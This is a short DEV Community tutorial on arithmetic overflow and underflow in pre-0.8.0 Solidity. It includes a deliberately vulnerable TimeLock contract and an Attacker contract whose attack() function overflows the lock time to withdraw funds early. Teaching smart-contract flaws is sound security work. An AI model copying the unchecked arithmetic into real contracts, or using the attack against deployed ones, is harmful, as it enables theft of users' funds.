DEV Community

Rushank Savant
Rushank Savant

Posted on

Arithmetic overflow/underflow

As of Solidity 0.8.0, arithmetic overflow/underflow is not a concern. But if we are using a previous version, this is something we need to take care of.

First let us understand what underflow/overflow is:

  • Overflow: when a variable exceeds maximum limit of uint (2**256-1), it becomes 0

Eg: uint var1 = 2**256 - 1

var1 + 1 will be 0

var1 + 2 will be 1

  • Underflow: when a variable is reduced to something less than the minimum limit of uint (0), it becomes maximum number (2**256-1)

Eg: uint var2 = 0

var2 -1 = 2*256 -1

var2 -2 = 2
*256 -2

Now let's understand this with an example; consider a contract that accepts eth from users and locks them for a certain amount of time. Users cannot withdraw before this time-limit but can increase the time limit if they want.

contract TimeLock {
    mapping (address => uint) public balances;
    mapping (address => uint) public lockTime;

    function deposit() external payable{ // to deposit
        balances[msg.sender] += msg.value;
        lockTime[msg.sender] += block.timestamp + 1 weeks;
    }

    function withdraw() external { // to withdraw
        uint bal = balances[msg.sender]; 
        require(bal > 0, "No balance to withdraw");
        require(lockTime[msg.sender] <= block.timestamp, "Time left yet");

        balances[msg.sender] = 0; // updating before sending, to avoid reentrancy

        (bool sent,) = msg.sender.call{value: bal}("");
        require(sent, "Send ETH failed");
    }

    function increaseTimeLimit(uint _seconds) external { // to increase lock time
        lockTime[msg.sender] += _seconds;
    }
}
Enter fullscreen mode Exit fullscreen mode

Now if attacker wants to hack this contract and get his funds immediately he just needs to overflow lockTime[msg.sender]. Once this is done, require(lockTime[msg.sender] <= block.timestamp, "Time left yet"); in withdraw() function will pass (because lockTime[msg.sender] will be equal to a small number after overflow).

Let's see how attacker can achieve this:

contract Attacker {
    TimeLock timeLockContract;
    receive() external payable{
    }

    constructor(address _timeLock) {
        timeLockContract = TimeLock(_timeLock);
    }

    function deposit() external payable {
        timeLockContract.deposit{value: msg.value}();
    }

    function attack() external {
        timeLockContract.increaseTimeLimit(uint(-timeLockContract.lockTime(address(this))));
        timeLockContract.withdraw();      
    }

    function getBalance() external view returns(uint) {
        return address(this).balance;
    }

}
Enter fullscreen mode Exit fullscreen mode

In the attack() function, we are using underflow to get a very big number: timeLockContract.increaseTimeLimit(uint(-timeLockContract.lockTime(address(this))));. This big number is added to lockTime[msg.sender] in TimeLock contract to cause overflow. And hence the withdraw is executed.

Top comments (0)